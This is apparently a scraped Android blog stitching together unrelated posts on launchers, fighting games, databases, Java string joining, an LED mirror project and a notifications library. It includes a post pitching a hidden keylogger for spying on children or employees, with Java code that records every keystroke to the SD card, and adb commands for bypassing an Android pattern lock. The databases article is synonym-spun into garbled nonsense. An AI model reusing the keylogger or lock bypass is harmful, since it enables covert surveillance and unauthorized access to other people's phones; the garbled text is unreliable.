Top 5 Best Android Launcher 2016

Launchers are the way Android users modify their cell phone and tablet experience. There’s shallow stuff, such as changing screen moves, symbols, and textual styles, yet the best Android launchers out there enable users to change the gadget’s conduct to suit their day by day use, as long as you’re willing to invest the energy into characterizing those customizations.

Do it yourself : Make Android Nova Launcher Theme

You can make your home screens as basic or confused as you wish, while tweaking each and every subtle element or simply taking what’s given to you as a matter of course — but either  way you can replace what your phone’s manufacturer gives you with the install of a single app.

Action LAUNCHER

Action is one of the best Android Launcher is a great alternative that blends things up and changes the interface worldview from what you’d expect in an “ordinary” launcher. There’s no general dock and application drawer, rather supplanting it with a slide-in drawer to house your applications.

You additionally get Shutters and Covers, which give you creative approaches to launch into folders and gadgets with swipes — it’s about getting to your applications and substance faster.

The most up to date variant, Action Launcher 3.5 , takes things up to another configuration that fits in with Android 5.0 Lollipop, and presents a couple of new elements also.

Google Play Link

There’s a free form of Action Launcher for everybody to attempt, with a pro upgrade costing just $4.99 — and after you make sense of the efficient elements you’ll need to open it.

GOOGLE NOW LAUNCHER

The Google Now is also the best Android launchers which is the obvious pick for anyone searching for a pure, clean Android experience. It comes right from Google (and is pre-installed on Nexus phones), so you can shear away anything the maker has stacked up in one install.

Transitions are quick and clean, and there’s nothing pointless getting in the middle of you and your applications and gadgets. Past that, the furthest left home screen gets to be Google Now, so you can launch into inquiries, perspective cards populated in light of the season of day, your area, and general searching habits, and execute a wide range of without hands “alright Google” charges.

Google Play Link

The main genuine drawback here is that you won’t have the capacity to appreciate the level of customization accessible on more strong best Android launchers — you get what Google gives you here.

NOVA LAUNCHER

Nova is a hugely mainstream best Android launcher that offers an entire group of animation options, folder views, and desktop behaviors. On the off chance that you shell out $4.00 for the premium overhaul you can program signals to perform certain activities, and completely modify new identifications including corner sweep, border, and background and text color.

One especially cool expansion is swipe activities, which permit application symbols to go about as an organizer with a swipe, or a standard application launch with a tap. In the event that that is insufficient, you can simply investigate the wide universe of Nova-perfect topics in Google Play to significantly change the look and feel of your Android device.

Google Play Link

You’ll even discover some Android 5.0-style choices tucked away in Nova.

AVIATE

AVIATE builds collection of your applications in view of diverse sorts of activities. You can, obviously, change those accumulations physically also, and Aviate can offer recommendations to fill in accumulations. AVIATE makes sense of where you are and what time of day it is, and serves up significant accumulations in custom-fabricated interfaces called Spaces so you can better handle those activities.

For instance, on the off chance that you connect to your earphones, it offers you quick access to media controls and your most loved music applications.

Google Play Link

Taken off, and you’ll be offered alternate ways to route home and to the workplace

GO LAUNCHER EX

The Go Launcher is an especially showy best Android launchers with an extraordinary scope of screen moves, including 3D ones. Launcher settings are accessible through a promptly available drawer that is summoned with an upward swipe from the home screen.

There’s a committed theme storefront application that releases you journey through accessible Launcher perfect applications and punts you out to the Play Store when you’re prepared to download.

It even has an area of committed custom lock screens by means of the Go Locker application.

Google Play Link

For $5.99 you can move up to Go Launcher Prime, which offers security lock for individual applications, removes ads and includes a couple of more bells accessories.

 Note :

The Google Play Store has a ridiculous number of Best Android launchers available, so we’re always interested to hear what you guys are using.
We’re curious to see how you’ve customized your own launchers too — sound off in the comments!

Mobile Spy Android Keylogger Source Code

The Mobile Spy Android Keylogger is a software program that can be installed onto a mobile phone that you wish to monitor. This device is great for those individuals that are paying for a mobile phone plan and feel like either their children or their employees are abusing their calling and texting privileges or are concerned that they are using their phones for inappropriate activities.


Spy Android Keylogger

This Android keylogger will allow you to see how your kids or employees are using their phones. Do your kids text when they are driving?

Do you have employees sharing confidential information about your company? 

Are the phone logs being erased? None of this will matter once the mobile spy Android keylogger software is installed because it does not use the internal logging system of the phone.

Android KeyLogger Keyboard

This is a simple modification to the SoftKeyboard sample that is included with the Android SDK. It adds a keylogger that writes output to the root directory of the SD Card (for easy access). This is provided for demonstration / diagnostic purposes only.

Download Source code

The only real change here is to the onKey method of the SoftKeyboard class:
public void onKey(int primaryCode, int[] keyCodes) {
    String keypress = String.valueOf((char)primaryCode);
    Log.d("Key Pressed",keypress);
    try{
        String SDCARD = Environment.getExternalStorageDirectory().getAbsolutePath();
        String FILENAME = "keylogger.txt";

        File outfile = new File(SDCARD+File.separator+FILENAME);
        FileOutputStream fos = new FileOutputStream(outfile,true);
        fos.write(keypress.getBytes());
        fos.close();
    }catch(Exception e) {
        Log.d("EXCEPTION",e.getMessage());
    }
If you have any queries then comment me and let me know your view on this post. 

Top 4 Fighting Android Games

Everyone wants to play Games. There is many types of games having different categories. So we have compiled this list of best Fighting android games of 2015. Come & enjoy the top trending Fighting games of this year & explore the best Fighting games list of 2015.

 WWE Immortals

This game contain some different type of the character. In this game all WWE Wrestler will fight each other to win the Wrestling Champion Belt. WWE Immortals having many type of battles. The game fuses the cast of Injustice: Gods Among Us. The graphic quality of game is good as compared to any other fighting game.  The game player also have different powers.
Top 4 Fighting Android Games  in 2016, Top 4 Fighting Android Games  in 2015, top fighting game, top android fighting game,

Marvel Contest of Champions

As we know from the word Marvel, that it is related to any Super Hero. Marvel Contest of Champions is based on the the Solo fighting. In this two avengers were fighting each other to win the Round. In this game there is different type of player with great Super Powers. The game contain  amazing characters.
Top 4 Fighting Android Games  in 2016, Top 4 Fighting Android Games  in 2015, top fighting game, top android fighting game,

Shadow Fight 2

It is very interesting game. The game has no character. In Shadow Fight the shadow is fight with different character which having great weapons. In the beginning your player is a simple shadow with no power, after some fight player get amazing weapons & powers.
Top 4 Fighting Android Games  in 2016, Top 4 Fighting Android Games  in 2015, top fighting game, top android fighting game,

Download Now    

SOULCALIBUR

SOULCALIBUR  is category  arcade  type game. The game is  based on the Mechanics. SOULCALIBUR is the simple game . When you play the game you feel that we are playing any adventure game. The graphic Quality is Superb. The Character in the game is well designed. So Download the game and enjoy.
Top 4 Fighting Android Games  in 2016, Top 4 Fighting Android Games  in 2015, top fighting game, top android fighting game,

This time I came with Fighting Android Games 2015, if you the post must like it and share it with your friends. For any query and if you  give me suggestion tell me in the comments.

Best Databases You Should Learn in 2016

When heedfully auricularly discerning developers verbalize about databases you will customarily aurally perceive buzz words like robust, scalable, efficient, etc. Discussions will fixate on the puissance of the DBMS (DataBase Management System) and how it integrates with other technologies. In our case, however, we don’t authentically care about most of those things. Instead we are going to be visually examining the cost of getting commenced, implements, the utilizer interface and availability of avail, especially avail for the abecedarian.

Database engines are marginally like the datasets they work with. There’s lots of them.
The database ranking website DB Engines gives a great overview of the market by charting the popularity of proximate to 200 different databases. We decided to take a more proximate visually examine their top ten DBs.
In the list below we’ll verbalize briefly about each DBMS, give you some pros and cons, and show you how to download and get commenced with each of them.

1. Oracle

The most popular cull for consequential commercial projects and the oldest major database in the market (not compulsorily a disadvantage)
Available in four different editions: Enterprise, Standard, Standard Edition One, Express
More operating system flexibility than its Microsoft obverse
The widest flexibility when it comes to the fortified server operating systems
Virtual Private Database, Data Sentinel for standby database, automatic recollection storage and undo management

2. MySQL

Enterprises can commence out utilizing the free community server and later upgrade to the commercial version
Runs on Linux, Windows, OSX and FreeBSD and Solaris
Intuitive graphical utilizer interface for designing database tables
Due to its open-source community, MySQL has a sizably voluminous bank of tutorials and information to avail you get commenced and solve quandaries
Support for partitioning and replication, as well as for Xpath and for stored procedures, triggers and views

3. Microsoft SQL Server

The most widely used commercial DBMS
Constrained to Windows, but this is an advantage if your enterprise uses mostly Microsoft products

4. PostgreSQL

A particularly scalable object-relational database
Runs on Linux, Windows, OSX and several other systems
Support for tablespaces, as well as for stored procedures, joins, views, triggers, etc.

5. MongoDB

The most popular NoSQL DB; nevertheless retains some SQL properties like query and index
Fortifies a wide range of programming languages like Scala, Groovy, Clojure and Java – eminently more than NoSQL rival Cassandra
High performance on immensely colossal databases
Best for dynamic queries and for defining indexes
Fortifies Linux, OSX and Windows, but the DB size is circumscribed to 2.5 GB on 32bit systems

6. DB 2

IBM’s answer to Oracle’s 11g, available in host and Windows/Linux versions
Runs on Linux, UNIX, Windows and mainframes
Ideal for IBM host environments
Support for both SQL and NoSQL data models.

7. Microsoft Access

Only one installation needed (DBMS and design implement in one)
Like Microsoft SQL Server, it’s use is circumscribed Windows
Ideal for getting commenced with traffic analysis, but not its performance is not designed for mid to astronomically immense-scale projects
Fortified programming languages inhibited to C, C#, C++, Java, VBA and Visual Rudimental.NET

8. SQLite

A self-contained server-less database engine with no external dependencies, utilized in iPhones, Firefox browsers and Skype
Its utilize as an embedded database propagates it among contrivances like the iPhone, as well as desktop software like Skype and Firefox (SQLite even claims to be the most deployed SQL database)
No configuration or admin tasks needed
The entire DB is stored in one disk file which can grow to 7TB
The widest range of fortified programming languages among the top 10 DBs

9. Cassandra

Highly available NoSQL alternative to MongoDB
Subsidiary for storing particularly immensely colossal datasets with a utilizer-cordial interface
Popular in banking, finance and logging, but withal utilized by Facebook and Twitter
Fortifies Windows, Linux and OSX, as well as numerous languages
Map/reduce withal possible when utilized with Hadoop

10. Redis

It is open-source, networked, in-recollection, and stores keys with optional durability.
When the durability of data is not needed, the in-recollection nature of Redis sanctions it to perform astronomically well compared to database systems that indite every transmutation to disk afore considering a transaction committed.
Redis is commonly deployed on IaaS or PaaS platforms like Amazon Web Accommodations, Rackspace, or Heroku.
Many languages have Redis bindings, including: ActionScript, C, C++, C#, Clojure, Prevalent Lisp, Dart, Erlang, Go, Haskell, Haxe, Io, Java, JavaScript (Node.js), Lua, Objective-C, Perl, PHP, Pristine Data, Python, R, Ruby, Scala, Smalltalk and Tcl.
Following is the trend analysis of databases.
Top 10 Databases in the world

So, Which One Do I Opt for?

When deciding where to commence I suggest you go through a simple series of prevalent sense questions:

Are you learning SQL for work?

If you are learning SQL for work, for example, you will be best accommodated culling the same DBMS that you utilize at work. By culling the same DBMS that you utilize at work you will preserve yourself much pain and suffering with SQL syntax mystification when you commence doing authentic development.

Are you learning SQL with or for a web development technology like PHP or ASP.NET?

If you are learning SQL to utilize with a web development technology then you will find that your life will be much more facile if you cull a DBMS that is either engendered by or made to work with your web technology of cull. For example, ASP.NET developers will conventionally cull Microsoft SQL Server or Microsoft Access, PHP developers will customarily cull MySQL or Oracle, and Java/WebSphere developers will customarily cull DB2.

Are you learning just to expand your brain?

If none of the questions above authentically apply to you I would suggest you cull either MySQL or Microsoft Access as they have good utilizer interfaces and great online content.
RDBMS might not be the optimal cull for some data models (hierarchical, unstructured, document-oriented models). But they are prodigiously puissant when it comes to manipulating relational data. SQL itself has evolved quite scarcely since Nokia 3310 times, when 64 GB of recollection was “Big Data”. The differences between Oracle 8i and Oracle 12c are astounding. The same applies to the differences between SQL Server 2000 and SQL Server 2012. Moreover, you can employ the very same DBA for the Oracle 12c job as you could for the 8i job back in the days.
While we are certainly living in exhilarating times where incipient technologies lead to incipient ways of cerebrating (and vice-versa), we should be sceptical of vendors who promise that we will migrate to the next paradigm within a blink of an ocular perceiver. Your data might endure longer than the incipient technology you utilize to store it.
There are plenty more well-ken DBs that didn’t make it into the top 10, for instance CouchDB , Neo4j  and Riak. Competition grows fierce further down the chain, with dozens more more diminutive and more incipient SQL and NoSQL databases to cull from.

Five Best way to convert an ArrayList to a string

When i worked on Android project and face a problem which i shared with you.

Problem :

I have an ArrayList that I want to output completely as a String. Essentially I want to output it in order using the toString of each element separated by comma. Is there any fast way to do this? You could loop through it (or remove each element) and concatenate it to a String but I think this will be very slow.

And i found many solution which are given below :

Solution:

Answer 1: Using String/StringBuilder

Basically, using a loop to iterate over the ArrayList is the only option:
ArrayList<String> list = new ArrayList<String>();
list.add("one");
list.add("two");
list.add("three");

String listString = "";

for (String s : list)
{
    listString += s + ",";
}

System.out.println(listString);
In fact, a string concatenation is going to be just fine, as the javac compiler will optimize the string concatenation as a series of append operations on a StringBuilder anyway. 
The compiler optimizes that loop by using a StringBuilder, so performance shouldn't be a big concern.
Note:
OK, on second glance, the StringBuilder is being instantiated on each iteration of the loop, so it may not be the most efficient bytecode. Instantiating and using an explicit StringBuilder would probably yield better performance.

The most optimized technique to use will be the response by Paul Tomblin, as it only instantiates a single StringBuilder object outside of the for loop.
Rewriting to the above code to:
ArrayList<String> list = new ArrayList<String>();
list.add("one");
list.add("two");
list.add("three");

StringBuilder sb = new StringBuilder();
for (String s : list)
{
    sb.append(s);
    sb.append(",");
}

System.out.println(sb.toString());
Will only instantiate the StringBuilder once outside of the loop, and only make the two calls to the append method inside the loop, as evidenced in this bytecode (which shows the instantiation of StringBuilder and the loop).

Answer 2: Using TextUtils(Best for Android)

If you happen to be doing this on Android, there is a nice utility for this called TextUtils which has a .join(String delimiter, Iterable) method.
List<String> list = new ArrayList<String>();
list.add("Item 1");
list.add("Item 2");
String joined = TextUtils.join(", ", list);
Obviously not much use outside of Android, but figured I'd add it to this thread...

Answer 3: Using Jakarta Commons Lang

Download the Jakarta Commons Lang and use the method
StringUtils.join(list)
You can implement it by yourself, of course, but their code is fully tested and is probably the best possible implementation.

I am a big fan of the Jakarta Commons library and I also think it's a great addition to the Java Standard Library

Answer 4: Using Guava

This is a pretty old question, but I figure I might as well add a more modern answer - use the Joiner class from Guava:
String joined = Joiner.on(",").join(list);

Answer 5: In Java 8

In Java 8 or later:
String listString = String.join(", ", list);
In case the list is not of type String, a joining collector can be used:
String listString = list.stream().map(Object::toString)
                        .collect(Collectors.joining(", "));




Display picture on Mirror Using Android Phone

An Android controlled interactive mirror. Running various Android apps, the interactive mirror displays pictures, running text, simple games, and video streamed from an Android device over Bluetooth.

Materials:


  1. RGB 16 x 32 Matrix from Adafruit - $80
  2. PIXEL Maker's Kit (includes bluetooth dongle and microSD card)
  3. Black Fabric (an old Black T-shirt will do)
  4. Black Foam Core Board
  5. 5V 2A Power Supply 
  6. 2-Way Mirror - $20 for 12" x 12" size
  7. Picture Frame (Antiques shops are good places to find unique looking ones)
  8. Duct tape
  9. Android Phone - 2.3.3 or above if using Bluetooth

Step 1: Installing the IOIO Board Application Firmware

 Picture of Installing the IOIO Board Application Firmware
Picture of Installing the IOIO Board Application Firmware
For those not familiar with IOIO, IOIO (pronounced "yo-yo") is an open source microcontroller. Think of it as like Arduino but very well integrated for Android. Unlike Arduino based methods of interfacing with Android, IOIO differs in that the firmware is taken care of for you.  You have full control of the analog and digital pins from within your Android application code using the supplied IOIO Java-based libraries; no additional Arduino sketches are required!  This significantly simplifies the process, allowing you to focus solely on your Android application code.  In addition to basic digital input/output and analog input, the IOIO library also handles PWM, I2C, SPI, and UART control. The firmware is easily upgradeable using the IOIO Manager app from your Android phone.
droidalyzer3_large.jpg
For this project, you'll need to install a custom IOIO application firmware that supports the 16 x 32 RBG LED matrix from Adafruit which can be downloaded from here (scroll down the page to the RGB LED Matrix section). One cool feature of IOIO is you can install the difference firmwares using your Android device with a USB connection to the IOIO BoardIf you're a developer modifying the source code, you'll also need a special version of the IOIO libraries here. To do this, first install the IOIO Manager app to your Android device and then follow these instructions to import the RGB Matrix application firmware into IOIO manager and then download to the IOIO board over USB. Special thanks to Ytai Ben-Tsvi, the creator of IOIO, who wrote this custom firmware for this project.

There are currently two flavors of the IOIO board. The base IOIO board from Sparkfun and a version from Seeedstudio and Adafruit that includes some additional features like an on-board LiPO charger, LiPO battery, header pins, Bluetooth dongle, mini USB board power/charging port, and mint tin case.

Step 2: Wiring Schematic

 Picture of Wiring Schematic
Picture of Wiring Schematic
Wire everything up per this schematic.

If this is a permanent installation, you can cut off the other end of the included LED matrix cable (this cable ships along with the 16x32 LED matrix from Adafruit) and solder directly to the pins on the IOIO.
back.jpg
Before mounting in the picture frame, check that everything is wired correctly before continuing. Supply 5V power to the IOIO board and 5V power to the LED matrix. Also plug in the Bluetooth dongle to the IOIO board. Bluetooth pair the IOIO to your Android phone, the pairing code is: 4545. Then install one of the apps in step 5 on your Android Phone and run it. If all is well, then you’ll see the LED Matrix light up per the app.

Step 3: Mounting in the Picture Frame

 Picture of Mounting in the Picture Frame
Picture of Mounting in the Picture Frame
Show All Items
Cut the Black Foam Core board to the size of your picture frame and then cut a center rectangle in the middle of the foam core board to fit the LED matrix. Mount the LED matrix in Black Foam Core board. You can secure the back of it with duct tape.
back3.jpg
Now cover the front of the matrix and foam core board with the black t-shirt. This is needed for the effect of the 2-way mirror. If there is any white exposed, the mirror effect will be ruined.

Secure the t-shirt using duct tape or some other adhesive.
frame.jpg
Use a glass cutter to cut the two-way mirror to the size of the picture frame.

Step 4: Final Installation

 Picture of Final Installation
Picture of Final Installation
Now just mount LED matrix into the picture frame. It should be a tight fit so it won’t move around much but you may also want to secure it with duct tape or some other frame mount.
frame3.jpg
Assuming you have covered the LED matrix correctly with the black t-shirt and there is no white showing, it will look like a mirror when turned off.
framefront.jpg
If the LED matrix is not covered in black fabric or something else that is equivalent black, the mirror effect will be lost and the LED matrix will show through the two-way mirror.

Step 5: Android Apps and Source Code

 Picture of Android Apps and Source Code
Picture of Android Apps and Source Code
eightballapp.png
ledalbumapp.png
verbageapp.png
videoapp.png
eightball.jpg
answer.png
verbage.png
thumb.png
pill.png
pics.png
Show All Items
I wrote four Android apps for the IOIO LED matrix which can be downloaded from Google Play (formerly known as the Android Market). You can see the apps in action in the video at the beginning of this Instructable. Ensure before running the apps, you Bluetooth pair your phone to the IOIO using pairing code: 4545. If you’ve got an Android phone 2.3.3 and above, this pairing step need only be done once.

Soure code for the apps is here

App

IOIO Pics to LED Matrix – Choose a pre-set image and display it on the LED matrix
IOIO 8-Ball – Magic 8-Ball fortune teller. Displays the answers to your questions on the LED matrix.
IOIO Verbage to LED Matrix – Displays random words on the LED matrix
IOIO Camera to LED Matrix – Streams a small portion of the camera frame to the LED matrix. This one is not really that useful as the portion of the camera video displayed is very small and is really more of a proof of concept that the IOIO LED matrix can also do video.

Star war : Turn Your Phone into a Lightsaber & Fight Stormtroopers

Star Wars 7th series is on the way, and we all wait for it. This time, they made a fantastic game for your with the help of Google. This is an incredible game if you want something new for your smartphone try this on your phone.

You don’t need to install any software or app on your computer or phone for playing this game. You can control Lightswar from your smartphone. Now fight off Stormtroopers by turning your smartphone into a virtual lightsaber.

Requirements:


  • Make sure you install the latest version of Google Chrome Browser on your Windows PC or Mac.
  • Android or your iPhone with the latest Chrome installed.

Step 1: 


  • Open Star Wars Lightsbar Website in your Computer
  • Open g.co/lightsaber in your PC browser and you see the screen like below in your computer.



Step 2: 

Copy the link below and open that link in your smartphone Chrome browser.

Step 3: 

Make sure you open right link in your phone. Tap on initiate it.

Step 4: Fight Off Stormtroopers with Your Smartphone Lightsaber

Note :

If your internet is slow this game takes some time. Otherwise Hit Space button and enjoy the show.

Crack Android Pattern Lock using Adb

I had a problem with a locked android device with a pattern and i managed to unlock it using adb,so here's how in case you were stuck one day with a locked device.

The device needs to have usb debugging enabled in case usb debugging isn't enabled and you have cwm you can run the same instructions from cwm,root is not required (though it will be so better if the device was rooted)

This was tested on: jelly bean and kitkat.

Both method are through adb.

Method 1:


  • adb shell
  • cd /data/data/com.android.providers.settings/databases
  • sqlite3 settings.db
  • update system set value=0 where name='lock_pattern_autolock';
  • update system set value=0 where name='lockscreen.lockedoutpermanently';
  • quit

-AND/OR-

Method 2:


  • adb shell rm /data/system/gesture.key
  • and that's a video showing how method 2 is done (thanks to melvinchng) : 


You can try both of them,here is how i managed to remove the lock:

  1. run the first method.
  2. reboot
  3. run the second method
  4. reboot

NOTES:

  • In the first method each line is a seperate command so click enter after typing each line.
  • In the second method type all the command and then press enter.
  • After running both methods and rebooting you may see the pattern lock,that doesn't necessarily mean it doesn't work,just try any random pattern and it may unlock then remove the pattern from settings.
  • This may and may not work,it may work on some devices and don't on others,so all you can do is trying it but i can't assure it will work.
  • A small donation would be much appreciated thank

Send Notification without Google GCM in Android

Currently i worked on an android chat application and i need to notify all activity to user using notification. But Google GCM not working properly with my application then  searched for other alternative.

A Google GCM/Amazon SNS alternative using pull instead of push.

Main features

  • Independent user notifications (no Google GCM or Amazon SNS), just put a JSON file in the cloud
  • Framework will update available notifications automatically in defined time intervals (now, daily, bi-weekly, weekly, monthly)
  • Flexible parameters:
  1. start date for notification (distribute early, show later)
  2. amount of times the notification should be shown
  3. interval between showing notifications (always, every day, every week, every month)
  4. specify on which app version (versionCode) the notification should be shown
  • Show notifications as AlertDialog or Toast message (defined by the remote JSON file)
  1. AlertDialog: Specify button captions and actions: Open Store-Action, Open URL-Action, Exit App-Action, all defined by a JSON file on your server
  • perfect to inform your users about discounts on one of your other apps or premium version
  • pro tip: as some users don't always update to the latest app versions you should integrate this framework in an early phase if you plan to use it at a later time.

Download

Maven
<dependency>
  <groupId>com.github.kaiwinter</groupId>
  <artifactId>android-remote-notifications</artifactId>
  <version>1.1.0</version>
  <type>aar</type>
</dependency>
Gradle:
compile 'com.github.kaiwinter:android-remote-notifications:1.1.0'
Direct:

Live Demo:

How to integrate

You can find the source code of the example app here: MainActivity

The easy way

  • Call RemoteNotifications.start(context, url, UpdatePolicy.NOW); in your onCreate() or onResume() method
this will
  • start an update of the notifications (use UpdatePolicy.WEEKLY in production environment to update once a week)
  • show due notifications to the user

For more control

RemoteNotifications rn = new RemoteNotifications(context, url);
rn.updateNotifications(UpdatePolicy.NOW);
rn.showNotifications(); // if update still runs, event will be queued and carried out later

// -or, register a listener on update completion-
rn.updateNotifications(UpdatePolicy.NOW, finishListener);

How to build a JSON notification file

First: You don´t have to write the JSON file by hand. Just use the API to initialize a Notification object and then create JSON from it: NotificationCreatorUtil

Example of a Toast Notification

[
  {
    "type": "ToastNotification",
    "notificationConfiguration": {
      "startShowingDate": null,
      "executionPolicy": "ALWAYS",
      "numberOfTotalViews": null,
      "versionCodePolicy": null
    },
    "message": "This is a Toast Notification",
    "duration": 1
  }
]

Example of an AlertDialog Notification

[
  {
    "type": "AlertDialogNotification",
    "notificationConfiguration": {
      "startShowingDate": null,
      "executionPolicy": "ALWAYS",
      "numberOfTotalViews": null,
      "versionCodePolicy": null
    },
    "title": "Title",
    "message": "This is an AlertDialog notification",
    "negativeButtonText": "Exit App",
    "neutralButtonText": "Open web page",
    "positiveButtonText": "Open Play Store",
    "positiveButtonAction": {
      "type": "OpenStoreButtonAction",
      "packageName": "de.vorlesungsfrei.taekwondo.ads"
    },
    "negativeButtonAction": {
      "type": "ExitAppButtonAction"
    },
    "neutralButtonAction": {
      "type": "OpenUrlButtonAction",
      "link": "https://github.com/kaiwinter/android-remote-notifications"
    },
    "modal": false
  }
]

ProGuard

To keep the jackson annotations add this to your ProGuard configuration.
# android-remote-notifications
-keepattributes *Annotation*,EnclosingMethod,Signature
-keepnames class com.fasterxml.jackson.** { *; }
-dontwarn com.fasterxml.jackson.databind.**
-keep public class com.github.kaiwinter.** {*;}